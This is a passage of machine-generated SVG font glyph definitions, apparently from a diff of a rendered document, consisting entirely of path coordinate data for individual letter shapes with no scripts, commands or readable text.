10.4375 -0.46875 C 10.601562 -0.46875 10.6875 -0.554688 10.6875 -0.734375 C 10.6875 -0.910156 10.625 -1 10.5 -1 C 10.4375 -1 10.378906 -0.972656 10.328125 -0.921875 L 10.3125 -0.921875 L 10.296875 -0.96875 L 10.203125 -0.96875 Z M 10.453125 -0.890625 C 10.515625 -0.890625 10.546875 -0.835938 10.546875 -0.734375 C 10.546875 -0.628906 10.503906 -0.578125 10.421875 -0.578125 C 10.398438 -0.578125 10.375 -0.585938 10.34375 -0.609375 L 10.34375 -0.796875 C 10.34375 -0.859375 10.378906 -0.890625 10.453125 -0.890625 Z M 11.15625 -0.609375 C 11.132812 -0.585938 11.09375 -0.578125 11.03125 -0.578125 C 10.945312 -0.578125 10.898438 -0.613281 10.890625 -0.6875 L 11.234375 -0.6875 L 11.234375 -0.796875 C 11.234375 -0.867188 11.210938 -0.921875 11.171875 -0.953125 C 11.128906 -0.984375 11.078125 -1 11.015625 -1 C 10.847656 -1 10.765625 -0.90625 10.765625 -0.71875 C 10.765625 -0.550781 10.847656 -0.46875 11.015625 -0.46875 C 11.054688 -0.46875 11.09375 -0.472656 11.125 -0.484375 C 11.164062 -0.492188 11.195312 -0.507812 11.21875 -0.53125 Z M 11.015625 -0.890625 C 11.085938 -0.890625 11.117188 -0.851562 11.109375 -0.78125 L 10.90625 -0.78125 C 10.90625 -0.851562 10.941406 -0.890625 11.015625 -0.890625 Z M 11.015625 -0.890625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-1"> +<path style="stroke:none;" d="M 7.171875 -5.828125 L 2.515625 -5.828125 L 2.515625 0 L 1.15625 0 L 1.15625 -12.640625 L 2.515625 -12.640625 L 2.515625 -7.078125 L 7.171875 -7.078125 L 7.171875 -12.640625 L 8.53125 -12.640625 L 8.53125 0 L 7.171875 0 Z M 7.171875 -5.828125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-2"> +<path style="stroke:none;" d="M 6.46875 -0.609375 C 6.175781 -0.347656 5.804688 -0.144531 5.359375 0 C 4.921875 0.144531 4.453125 0.21875 3.953125 0.21875 C 3.390625 0.21875 2.898438 0.109375 2.484375 -0.109375 C 2.066406 -0.335938 1.722656 -0.660156 1.453125 -1.078125 C 1.179688 -1.492188 0.984375 -1.988281 0.859375 -2.5625 C 0.734375 -3.144531 0.671875 -3.796875 0.671875 -4.515625 C 0.671875 -6.054688 0.953125 -7.226562 1.515625 -8.03125 C 2.078125 -8.84375 2.878906 -9.25 3.921875 -9.25 C 4.253906 -9.25 4.585938 -9.207031 4.921875 -9.125 C 5.253906 -9.039062 5.550781 -8.867188 5.8125 -8.609375 C 6.082031 -8.359375 6.296875 -8.003906 6.453125 -7.546875 C 6.617188 -7.085938 6.703125 -6.492188 6.703125 -5.765625 C 6.703125 -5.554688 6.691406 -5.332031 6.671875 -5.09375 C 6.648438 -4.863281 6.628906 -4.625 6.609375 -4.375 L 2.015625 -4.375 C 2.015625 -3.851562 2.054688 -3.378906 2.140625 -2.953125 C 2.234375 -2.535156 2.367188 -2.175781 2.546875 -1.875 C 2.722656 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.523438 -1.03125 3.878906 -0.953125 4.296875 -0.953125 C 4.617188 -0.953125 4.941406 -1.007812 5.265625 -1.125 C 5.585938 -1.25 5.832031 -1.398438 6 -1.578125 Z M 5.453125 -5.453125 C 5.472656 -6.359375 5.34375 -7.019531 5.0625 -7.4375 C 4.789062 -7.863281 4.414062 -8.078125 3.9375 -8.078125 C 3.382812 -8.078125 2.941406 -7.863281 2.609375 -7.4375 C 2.285156 -7.019531 2.097656 -6.359375 2.046875 -5.453125 Z M 5.453125 -5.453125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-3"> +<path style="stroke:none;" d="M 3.3125 -3.203125 L 3.6875 -1.4375 L 3.78125 -1.4375 L 4.046875 -3.203125 L 5.421875 -9.03125 L 6.734375 -9.03125 L 4.59375 -0.921875 C 4.414062 -0.273438 4.242188 0.328125 4.078125 0.890625 C 3.910156 1.460938 3.726562 1.957031 3.53125 2.375 C 3.332031 2.789062 3.109375 3.113281 2.859375 3.34375 C 2.617188 3.582031 2.328125 3.703125 1.984375 3.703125 C 1.648438 3.703125 1.359375 3.648438 1.109375 3.546875 L 1.3125 2.3125 C 1.488281 2.375 1.660156 2.382812 1.828125 2.34375 C 1.992188 2.3125 2.148438 2.207031 2.296875 2.03125 C 2.453125 1.863281 2.59375 1.613281 2.71875 1.28125 C 2.84375 0.957031 2.953125 0.53125 3.046875 0 L 0.125 -9.03125 L 1.609375 -9.03125 Z M 3.3125 -3.203125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-4"> +<path style="stroke:none;" d="M 1.828125 -12.640625 L 3.171875 -12.640625 L 3.171875 -6.375 L 2.90625 -3.203125 L 2.09375 -3.203125 L 1.828125 -6.375 Z M 1.59375 -0.8125 C 1.59375 -1.144531 1.671875 -1.394531 1.828125 -1.5625 C 1.992188 -1.738281 2.21875 -1.828125 2.5 -1.828125 C 2.769531 -1.828125 2.984375 -1.738281 3.140625 -1.5625 C 3.304688 -1.394531 3.390625 -1.144531 3.390625 -0.8125 C 3.390625 -0.457031 3.304688 -0.195312 3.140625 -0.03125 C 2.984375 0.132812 2.769531 0.21875 2.5 0.21875 C 2.21875 0.21875 1.992188 0.132812 1.828125 -0.03125 C 1.671875 -0.195312 1.59375 -0.457031 1.59375 -0.8125 Z M 1.59375 -0.8125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-5"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph1-6"> +<path style="stroke:none;" d="M 7.765625 -0.484375 C 7.460938 -0.234375 7.082031 -0.0546875 6.625 0.046875 C 6.164062 0.160156 5.6875 0.21875 5.1875 0.21875 C 4.550781 0.21875 3.957031 0.0976562 3.40625 -0.140625 C 2.863281 -0.378906 2.394531 -0.757812 2 -1.28125 C 1.613281 -1.8125 1.3125 -2.488281 1.09375 -3.3125 C 0.882812 -4.144531 0.78125 -5.148438 0.78125 -6.328125 C 0.78125 -7.523438 0.898438 -8.539062 1.140625 -9.375 C 1.390625 -10.207031 1.71875 -10.878906 2.125 -11.390625 C 2.539062 -11.910156 3.015625 -12.285156 3.546875 -12.515625 C 4.085938 -12.742188 4.640625 -12.859375 5.203125 -12.859375 C 5.773438 -12.859375 6.25 -12.816406 6.625 -12.734375 C 7.007812 -12.648438 7.34375 -12.546875 7.625 -12.421875 L 7.296875 -11.203125 C 7.054688 -11.328125 6.769531 -11.425781 6.4375 -11.5 C 6.113281 -11.570312 5.742188 -11.609375 5.328125 -11.609375 C 4.910156 -11.609375 4.515625 -11.515625 4.140625 -11.328125 C 3.765625 -11.140625 3.429688 -10.835938 3.140625 -10.421875 C 2.847656 -10.015625 2.617188 -9.472656 2.453125 -8.796875 C 2.285156 -8.117188 2.203125 -7.296875 2.203125 -6.328125 C 2.203125 -4.566406 2.503906 -3.242188 3.109375 -2.359375 C 3.710938 -1.472656 4.515625 -1.03125 5.515625 -1.03125 C 5.921875 -1.03125 6.285156 -1.085938 6.609375 -1.203125 C 6.929688 -1.316406 7.207031 -1.453125 7.4375 -1.609375 Z M 7.765625 -0.484375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-7"> +<path style="stroke:none;" d="M 0.96875 -8.484375 C 1.320312 -8.703125 1.75 -8.867188 2.25 -8.984375 C 2.75 -9.109375 3.273438 -9.171875 3.828125 -9.171875 C 4.335938 -9.171875 4.742188 -9.09375 5.046875 -8.9375 C 5.359375 -8.789062 5.597656 -8.585938 5.765625 -8.328125 C 5.941406 -8.078125 6.054688 -7.785156 6.109375 -7.453125 C 6.171875 -7.117188 6.203125 -6.769531 6.203125 -6.40625 C 6.203125 -5.6875 6.1875 -4.984375 6.15625 -4.296875 C 6.125 -3.609375 6.109375 -2.957031 6.109375 -2.34375 C 6.109375 -1.882812 6.125 -1.457031 6.15625 -1.0625 C 6.1875 -0.675781 6.242188 -0.3125 6.328125 0.03125 L 5.328125 0.03125 L 5.015625 -1.03125 L 4.953125 -1.03125 C 4.765625 -0.71875 4.492188 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.332031 0.125 2.75 0.125 C 2.09375 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.734375 -1.003906 0.53125 -1.628906 0.53125 -2.421875 C 0.53125 -2.941406 0.613281 -3.375 0.78125 -3.71875 C 0.957031 -4.070312 1.203125 -4.351562 1.515625 -4.5625 C 1.835938 -4.78125 2.21875 -4.9375 2.65625 -5.03125 C 3.101562 -5.125 3.597656 -5.171875 4.140625 -5.171875 C 4.253906 -5.171875 4.367188 -5.171875 4.484375 -5.171875 C 4.609375 -5.171875 4.738281 -5.160156 4.875 -5.140625 C 4.914062 -5.515625 4.9375 -5.847656 4.9375 -6.140625 C 4.9375 -6.828125 4.832031 -7.304688 4.625 -7.578125 C 4.414062 -7.859375 4.039062 -8 3.5 -8 C 3.164062 -8 2.800781 -7.945312 2.40625 -7.84375 C 2.007812 -7.738281 1.675781 -7.609375 1.40625 -7.453125 Z M 4.890625 -4.125 C 4.773438 -4.132812 4.65625 -4.140625 4.53125 -4.140625 C 4.414062 -4.148438 4.296875 -4.15625 4.171875 -4.15625 C 3.878906 -4.15625 3.59375 -4.128906 3.3125 -4.078125 C 3.039062 -4.035156 2.796875 -3.953125 2.578125 -3.828125 C 2.367188 -3.710938 2.195312 -3.550781 2.0625 -3.34375 C 1.9375 -3.132812 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.765625 -1.046875 3.140625 -1.046875 C 3.648438 -1.046875 4.039062 -1.164062 4.3125 -1.40625 C 4.59375 -1.644531 4.785156 -1.910156 4.890625 -2.203125 Z M 4.890625 -4.125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-8"> +<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.515625 C 5.6875 -6.410156 5.582031 -7.0625 5.375 -7.46875 C 5.164062 -7.875 4.789062 -8.078125 4.25 -8.078125 C 3.757812 -8.078125 3.359375 -7.929688 3.046875 -7.640625 C 2.734375 -7.347656 2.503906 -6.992188 2.359375 -6.578125 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 2 -9.03125 L 2.234375 -8.078125 L 2.296875 -8.078125 C 2.523438 -8.398438 2.832031 -8.675781 3.21875 -8.90625 C 3.613281 -9.132812 4.082031 -9.25 4.625 -9.25 C 5.007812 -9.25 5.347656 -9.191406 5.640625 -9.078125 C 5.941406 -8.972656 6.191406 -8.789062 6.390625 -8.53125 C 6.585938 -8.269531 6.734375 -7.921875 6.828125 -7.484375 C 6.929688 -7.054688 6.984375 -6.515625 6.984375 -5.859375 L 6.984375 0 Z M 5.6875 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-9"> +<path style="stroke:none;" d="M 1.421875 -12.640625 L 2.78125 -12.640625 L 2.78125 0 L 1.421875 0 Z M 1.421875 -12.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-10"> +<path style="stroke:none;" d="M 0.921875 -1.484375 C 1.160156 -1.335938 1.445312 -1.210938 1.78125 -1.109375 C 2.113281 -1.003906 2.453125 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.53125 -1.050781 3.8125 -1.25 C 4.09375 -1.445312 4.234375 -1.769531 4.234375 -2.21875 C 4.234375 -2.59375 4.144531 -2.898438 3.96875 -3.140625 C 3.800781 -3.378906 3.585938 -3.59375 3.328125 -3.78125 C 3.066406 -3.976562 2.785156 -4.15625 2.484375 -4.3125 C 2.191406 -4.476562 1.914062 -4.675781 1.65625 -4.90625 C 1.394531 -5.132812 1.179688 -5.40625 1.015625 -5.71875 C 0.847656 -6.039062 0.765625 -6.441406 0.765625 -6.921875 C 0.765625 -7.691406 0.96875 -8.269531 1.375 -8.65625 C 1.789062 -9.050781 2.378906 -9.25 3.140625 -9.25 C 3.640625 -9.25 4.066406 -9.203125 4.421875 -9.109375 C 4.785156 -9.023438 5.097656 -8.90625 5.359375 -8.75 L 5.015625 -7.65625 C 4.785156 -7.78125 4.519531 -7.878906 4.21875 -7.953125 C 3.925781 -8.035156 3.625 -8.078125 3.3125 -8.078125 C 2.875 -8.078125 2.554688 -7.984375 2.359375 -7.796875 C 2.160156 -7.617188 2.0625 -7.335938 2.0625 -6.953125 C 2.0625 -6.648438 2.144531 -6.394531 2.3125 -6.1875 C 2.476562 -5.976562 2.691406 -5.785156 2.953125 -5.609375 C 3.210938 -5.429688 3.492188 -5.25 3.796875 -5.0625 C 4.097656 -4.882812 4.375 -4.671875 4.625 -4.421875 C 4.882812 -4.179688 5.097656 -3.890625 5.265625 -3.546875 C 5.441406 -3.203125 5.53125 -2.773438 5.53125 -2.265625 C 5.53125 -1.921875 5.472656 -1.597656 5.359375 -1.296875 C 5.253906 -0.992188 5.085938 -0.734375 4.859375 -0.515625 C 4.640625 -0.296875 4.363281 -0.117188 4.03125 0.015625 C 3.707031 0.148438 3.320312 0.21875 2.875 0.21875 C 2.34375 0.21875 1.882812 0.164062 1.5 0.0625 C 1.113281 -0.0390625 0.789062 -0.175781 0.53125 -0.34375 Z M 0.921875 -1.484375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-11"> +<path style="stroke:none;" d="M 0.15625 -9.03125 L 1.265625 -9.03125 L 1.265625 -10.8125 L 2.5625 -11.234375 L 2.5625 -9.03125 L 4.515625 -9.03125 L 4.515625 -7.859375 L 2.5625 -7.859375 L 2.5625 -2.46875 C 2.5625 -1.945312 2.625 -1.566406 2.75 -1.328125 C 2.875 -1.085938 3.082031 -0.96875 3.375 -0.96875 C 3.613281 -0.96875 3.820312 -0.992188 4 -1.046875 C 4.175781 -1.109375 4.363281 -1.179688 4.5625 -1.265625 L 4.828125 -0.234375 C 4.554688 -0.0976562 4.257812 0.00390625 3.9375 0.078125 C 3.625 0.160156 3.289062 0.203125 2.9375 0.203125 C 2.34375 0.203125 1.914062 0.0078125 1.65625 -0.375 C 1.394531 -0.769531 1.265625 -1.410156 1.265625 -2.296875 L 1.265625 -7.859375 L 0.15625 -7.859375 Z M 0.15625 -9.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-12"> +<path style="stroke:none;" d="M 0.671875 -4.515625 C 0.671875 -6.140625 0.945312 -7.332031 1.5 -8.09375 C 2.0625 -8.863281 2.863281 -9.25 3.90625 -9.25 C 5.007812 -9.25 5.820312 -8.859375 6.34375 -8.078125 C 6.875 -7.296875 7.140625 -6.109375 7.140625 -4.515625 C 7.140625 -2.878906 6.851562 -1.679688 6.28125 -0.921875 C 5.71875 -0.160156 4.925781 0.21875 3.90625 0.21875 C 2.789062 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.921875 0.671875 -4.515625 Z M 2.015625 -4.515625 C 2.015625 -3.984375 2.046875 -3.5 2.109375 -3.0625 C 2.179688 -2.632812 2.289062 -2.265625 2.4375 -1.953125 C 2.59375 -1.640625 2.789062 -1.394531 3.03125 -1.21875 C 3.269531 -1.039062 3.5625 -0.953125 3.90625 -0.953125 C 4.53125 -0.953125 5 -1.234375 5.3125 -1.796875 C 5.625 -2.359375 5.78125 -3.265625 5.78125 -4.515625 C 5.78125 -5.035156 5.742188 -5.515625 5.671875 -5.953125 C 5.609375 -6.390625 5.5 -6.765625 5.34375 -7.078125 C 5.195312 -7.390625 5.003906 -7.632812 4.765625 -7.8125 C 4.523438 -7.988281 4.238281 -8.078125 3.90625 -8.078125 C 3.289062 -8.078125 2.820312 -7.789062 2.5 -7.21875 C 2.175781 -6.65625 2.015625 -5.753906 2.015625 -4.515625 Z M 2.015625 -4.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-13"> +<path style="stroke:none;" d="M 6.75 -3.109375 C 6.75 -2.492188 6.753906 -1.9375 6.765625 -1.4375 C 6.785156 -0.9375 6.832031 -0.445312 6.90625 0.03125 L 6.015625 0.03125 L 5.71875 -1.046875 L 5.65625 -1.046875 C 5.488281 -0.679688 5.222656 -0.378906 4.859375 -0.140625 C 4.492188 0.0976562 4.0625 0.21875 3.5625 0.21875 C 2.582031 0.21875 1.851562 -0.160156 1.375 -0.921875 C 0.90625 -1.679688 0.671875 -2.875 0.671875 -4.5 C 0.671875 -6.039062 0.960938 -7.207031 1.546875 -8 C 2.128906 -8.789062 2.929688 -9.1875 3.953125 -9.1875 C 4.304688 -9.1875 4.582031 -9.164062 4.78125 -9.125 C 4.988281 -9.082031 5.210938 -9.015625 5.453125 -8.921875 L 5.453125 -12.640625 L 6.75 -12.640625 Z M 5.453125 -7.609375 C 5.285156 -7.753906 5.09375 -7.859375 4.875 -7.921875 C 4.664062 -7.984375 4.390625 -8.015625 4.046875 -8.015625 C 3.410156 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.679688 2.015625 -4.484375 C 2.015625 -3.953125 2.046875 -3.472656 2.109375 -3.046875 C 2.179688 -2.617188 2.285156 -2.25 2.421875 -1.9375 C 2.566406 -1.625 2.75 -1.378906 2.96875 -1.203125 C 3.195312 -1.035156 3.472656 -0.953125 3.796875 -0.953125 C 4.660156 -0.953125 5.210938 -1.46875 5.453125 -2.5 Z M 5.453125 -7.609375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-14"> +<path style="stroke:none;" d="M 1.296875 -12.640625 L 2.546875 -12.640625 L 2.078125 -9.15625 L 1.296875 -9.15625 Z M 1.296875 -12.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-15"> +<path style="stroke:none;" d="M 6.046875 -0.453125 C 5.742188 -0.222656 5.398438 -0.0546875 5.015625 0.046875 C 4.628906 0.160156 4.226562 0.21875 3.8125 0.21875 C 3.226562 0.21875 2.738281 0.109375 2.34375 -0.109375 C 1.945312 -0.335938 1.625 -0.660156 1.375 -1.078125 C 1.132812 -1.492188 0.957031 -1.992188 0.84375 -2.578125 C 0.726562 -3.160156 0.671875 -3.804688 0.671875 -4.515625 C 0.671875 -6.054688 0.941406 -7.226562 1.484375 -8.03125 C 2.035156 -8.84375 2.820312 -9.25 3.84375 -9.25 C 4.3125 -9.25 4.710938 -9.207031 5.046875 -9.125 C 5.390625 -9.039062 5.679688 -8.929688 5.921875 -8.796875 L 5.5625 -7.65625 C 5.082031 -7.9375 4.554688 -8.078125 3.984375 -8.078125 C 3.335938 -8.078125 2.847656 -7.789062 2.515625 -7.21875 C 2.179688 -6.644531 2.015625 -5.742188 2.015625 -4.515625 C 2.015625 -4.023438 2.050781 -3.5625 2.125 -3.125 C 2.195312 -2.6875 2.316406 -2.304688 2.484375 -1.984375 C 2.660156 -1.671875 2.878906 -1.421875 3.140625 -1.234375 C 3.410156 -1.046875 3.742188 -0.953125 4.140625 -0.953125 C 4.453125 -0.953125 4.742188 -1.003906 5.015625 -1.109375 C 5.285156 -1.222656 5.503906 -1.351562 5.671875 -1.5 Z M 6.046875 -0.453125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-16"> +<path style="stroke:none;" d="M 5.296875 0 L 5.296875 -5.359375 C 5.296875 -5.847656 5.28125 -6.257812 5.25 -6.59375 C 5.21875 -6.9375 5.148438 -7.21875 5.046875 -7.4375 C 4.953125 -7.65625 4.820312 -7.816406 4.65625 -7.921875 C 4.488281 -8.023438 4.265625 -8.078125 3.984375 -8.078125 C 3.578125 -8.078125 3.234375 -7.914062 2.953125 -7.59375 C 2.671875 -7.269531 2.472656 -6.90625 2.359375 -6.5 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.53125 -8.421875 2.828125 -8.703125 3.171875 -8.921875 C 3.523438 -9.140625 3.972656 -9.25 4.515625 -9.25 C 4.972656 -9.25 5.347656 -9.148438 5.640625 -8.953125 C 5.941406 -8.753906 6.175781 -8.398438 6.34375 -7.890625 C 6.5625 -8.316406 6.867188 -8.648438 7.265625 -8.890625 C 7.671875 -9.128906 8.113281 -9.25 8.59375 -9.25 C 8.988281 -9.25 9.328125 -9.195312 9.609375 -9.09375 C 9.898438 -8.988281 10.128906 -8.804688 10.296875 -8.546875 C 10.472656 -8.296875 10.601562 -7.953125 10.6875 -7.515625 C 10.769531 -7.085938 10.8125 -6.550781 10.8125 -5.90625 L 10.8125 0 L 9.515625 0 L 9.515625 -5.75 C 9.515625 -6.53125 9.4375 -7.113281 9.28125 -7.5 C 9.132812 -7.882812 8.789062 -8.078125 8.25 -8.078125 C 7.789062 -8.078125 7.425781 -7.929688 7.15625 -7.640625 C 6.882812 -7.359375 6.695312 -6.976562 6.59375 -6.5 L 6.59375 0 Z M 5.296875 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-17"> +<path style="stroke:none;" d="M 1.28125 -9.03125 L 2.578125 -9.03125 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.78125 C 1.046875 -12.0625 1.125 -12.289062 1.28125 -12.46875 C 1.445312 -12.65625 1.664062 -12.75 1.9375 -12.75 C 2.195312 -12.75 2.414062 -12.660156 2.59375 -12.484375 C 2.769531 -12.316406 2.859375 -12.082031 2.859375 -11.78125 C 2.859375 -11.488281 2.769531 -11.257812 2.59375 -11.09375 C 2.414062 -10.9375 2.195312 -10.859375 1.9375 -10.859375 C 1.664062 -10.859375 1.445312 -10.941406 1.28125 -11.109375 C 1.125 -11.273438 1.046875 -11.5 1.046875 -11.78125 Z M 1.046875 -11.78125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-18"> +<path style="stroke:none;" d="M 2.21875 -3.203125 C 2.1875 -3.722656 2.21875 -4.1875 2.3125 -4.59375 C 2.414062 -5.007812 2.554688 -5.390625 2.734375 -5.734375 C 2.921875 -6.078125 3.117188 -6.398438 3.328125 -6.703125 C 3.546875 -7.003906 3.75 -7.3125 3.9375 -7.625 C 4.132812 -7.945312 4.296875 -8.285156 4.421875 -8.640625 C 4.546875 -8.992188 4.609375 -9.394531 4.609375 -9.84375 C 4.609375 -10.394531 4.488281 -10.835938 4.25 -11.171875 C 4.007812 -11.515625 3.597656 -11.6875 3.015625 -11.6875 C 2.671875 -11.6875 2.328125 -11.625 1.984375 -11.5 C 1.648438 -11.375 1.347656 -11.210938 1.078125 -11.015625 L 0.578125 -12.03125 C 0.941406 -12.269531 1.335938 -12.46875 1.765625 -12.625 C 2.191406 -12.78125 2.710938 -12.859375 3.328125 -12.859375 C 4.191406 -12.859375 4.84375 -12.601562 5.28125 -12.09375 C 5.726562 -11.59375 5.953125 -10.90625 5.953125 -10.03125 C 5.953125 -9.507812 5.882812 -9.039062 5.75 -8.625 C 5.625 -8.21875 5.460938 -7.84375 5.265625 -7.5 C 5.078125 -7.15625 4.867188 -6.828125 4.640625 -6.515625 C 4.410156 -6.203125 4.195312 -5.878906 4 -5.546875 C 3.800781 -5.222656 3.632812 -4.867188 3.5 -4.484375 C 3.375 -4.109375 3.3125 -3.679688 3.3125 -3.203125 Z M 1.953125 -0.8125 C 1.953125 -1.144531 2.03125 -1.394531 2.1875 -1.5625 C 2.351562 -1.738281 2.578125 -1.828125 2.859375 -1.828125 C 3.128906 -1.828125 3.34375 -1.738281 3.5 -1.5625 C 3.664062 -1.394531 3.75 -1.144531 3.75 -0.8125 C 3.75 -0.457031 3.664062 -0.195312 3.5 -0.03125 C 3.34375 0.132812 3.128906 0.21875 2.859375 0.21875 C 2.578125 0.21875 2.351562 0.132812 2.1875 -0.03125 C 2.03125 -0.195312 1.953125 -0.457031 1.953125 -0.8125 Z M 1.953125 -0.8125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-19"> +<path style="stroke:none;" d="M 1.0625 -1.6875 C 1.289062 -1.519531 1.613281 -1.367188 2.03125 -1.234375 C 2.445312 -1.097656 2.921875 -1.03125 3.453125 -1.03125 C 4.128906 -1.03125 4.675781 -1.191406 5.09375 -1.515625 C 5.507812 -1.847656 5.71875 -2.375 5.71875 -3.09375 C 5.71875 -3.5625 5.597656 -3.96875 5.359375 -4.3125 C 5.117188 -4.664062 4.816406 -4.988281 4.453125 -5.28125 C 4.097656 -5.570312 3.710938 -5.859375 3.296875 -6.140625 C 2.878906 -6.429688 2.488281 -6.75 2.125 -7.09375 C 1.769531 -7.4375 1.46875 -7.828125 1.21875 -8.265625 C 0.976562 -8.710938 0.859375 -9.25 0.859375 -9.875 C 0.859375 -10.882812 1.160156 -11.632812 1.765625 -12.125 C 2.378906 -12.613281 3.175781 -12.859375 4.15625 -12.859375 C 4.757812 -12.859375 5.296875 -12.800781 5.765625 -12.6875 C 6.234375 -12.582031 6.613281 -12.445312 6.90625 -12.28125 L 6.46875 -11.09375 C 6.25 -11.226562 5.9375 -11.347656 5.53125 -11.453125 C 5.132812 -11.554688 4.671875 -11.609375 4.140625 -11.609375 C 3.484375 -11.609375 3 -11.445312 2.6875 -11.125 C 2.375 -10.8125 2.21875 -10.414062 2.21875 -9.9375 C 2.21875 -9.507812 2.335938 -9.132812 2.578125 -8.8125 C 2.816406 -8.488281 3.117188 -8.179688 3.484375 -7.890625 C 3.847656 -7.597656 4.238281 -7.304688 4.65625 -7.015625 C 5.070312 -6.722656 5.457031 -6.394531 5.8125 -6.03125 C 6.175781 -5.664062 6.476562 -5.253906 6.71875 -4.796875 C 6.957031 -4.347656 7.078125 -3.804688 7.078125 -3.171875 C 7.078125 -2.117188 6.765625 -1.289062 6.140625 -0.6875 C 5.515625 -0.0820312 4.628906 0.21875 3.484375 0.21875 C 2.765625 0.21875 2.171875 0.148438 1.703125 0.015625 C 1.242188 -0.117188 0.875 -0.269531 0.59375 -0.4375 Z M 1.0625 -1.6875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-20"> +<path style="stroke:none;" d="M 2.234375 -9.03125 L 2.234375 -3.5 C 2.234375 -2.582031 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.046875 -0.953125 3.546875 -0.953125 C 3.796875 -0.953125 4.019531 -1.003906 4.21875 -1.109375 C 4.414062 -1.210938 4.59375 -1.347656 4.75 -1.515625 C 4.90625 -1.679688 5.039062 -1.875 5.15625 -2.09375 C 5.28125 -2.3125 5.378906 -2.535156 5.453125 -2.765625 L 5.453125 -9.03125 L 6.75 -9.03125 L 6.75 -2.5625 C 6.75 -2.132812 6.765625 -1.6875 6.796875 -1.21875 C 6.828125 -0.757812 6.875 -0.351562 6.9375 0 L 6.015625 0 L 5.6875 -1.265625 L 5.640625 -1.265625 C 5.429688 -0.867188 5.132812 -0.519531 4.75 -0.21875 C 4.363281 0.0703125 3.882812 0.21875 3.3125 0.21875 C 2.925781 0.21875 2.585938 0.164062 2.296875 0.0625 C 2.003906 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.347656 -0.703125 1.195312 -1.046875 1.09375 -1.484375 C 0.988281 -1.929688 0.9375 -2.492188 0.9375 -3.171875 L 0.9375 -9.03125 Z M 2.234375 -9.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-21"> +<path style="stroke:none;" d="M 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.445312 -8.421875 2.664062 -8.691406 2.9375 -8.890625 C 3.207031 -9.085938 3.535156 -9.1875 3.921875 -9.1875 C 4.191406 -9.1875 4.503906 -9.132812 4.859375 -9.03125 L 4.609375 -7.71875 C 4.296875 -7.820312 4.019531 -7.875 3.78125 -7.875 C 3.394531 -7.875 3.078125 -7.757812 2.828125 -7.53125 C 2.585938 -7.3125 2.429688 -7.015625 2.359375 -6.640625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-22"> +<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.484375 C 5.6875 -6.328125 5.585938 -6.96875 5.390625 -7.40625 C 5.191406 -7.851562 4.796875 -8.078125 4.203125 -8.078125 C 3.785156 -8.078125 3.40625 -7.925781 3.0625 -7.625 C 2.71875 -7.320312 2.484375 -6.941406 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -12.640625 L 2.359375 -12.640625 L 2.359375 -8.1875 L 2.421875 -8.1875 C 2.660156 -8.5 2.957031 -8.753906 3.3125 -8.953125 C 3.664062 -9.148438 4.109375 -9.25 4.640625 -9.25 C 5.035156 -9.25 5.378906 -9.191406 5.671875 -9.078125 C 5.972656 -8.972656 6.21875 -8.785156 6.40625 -8.515625 C 6.601562 -8.253906 6.75 -7.90625 6.84375 -7.46875 C 6.9375 -7.03125 6.984375 -6.484375 6.984375 -5.828125 L 6.984375 0 Z M 5.6875 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-23"> +<path style="stroke:none;" d="M 1.0625 -9.03125 L 1.984375 -9.03125 L 2.1875 -8.0625 L 2.265625 -8.0625 C 2.703125 -8.851562 3.398438 -9.25 4.359375 -9.25 C 5.304688 -9.25 6.015625 -8.890625 6.484375 -8.171875 C 6.960938 -7.460938 7.203125 -6.304688 7.203125 -4.703125 C 7.203125 -3.941406 7.125 -3.253906 6.96875 -2.640625 C 6.8125 -2.035156 6.585938 -1.519531 6.296875 -1.09375 C 6.015625 -0.664062 5.664062 -0.335938 5.25 -0.109375 C 4.832031 0.109375 4.367188 0.21875 3.859375 0.21875 C 3.515625 0.21875 3.238281 0.195312 3.03125 0.15625 C 2.832031 0.113281 2.609375 0.0234375 2.359375 -0.109375 L 2.359375 3.609375 L 1.0625 3.609375 Z M 2.359375 -1.421875 C 2.535156 -1.273438 2.726562 -1.160156 2.9375 -1.078125 C 3.144531 -0.992188 3.425781 -0.953125 3.78125 -0.953125 C 4.414062 -0.953125 4.921875 -1.273438 5.296875 -1.921875 C 5.671875 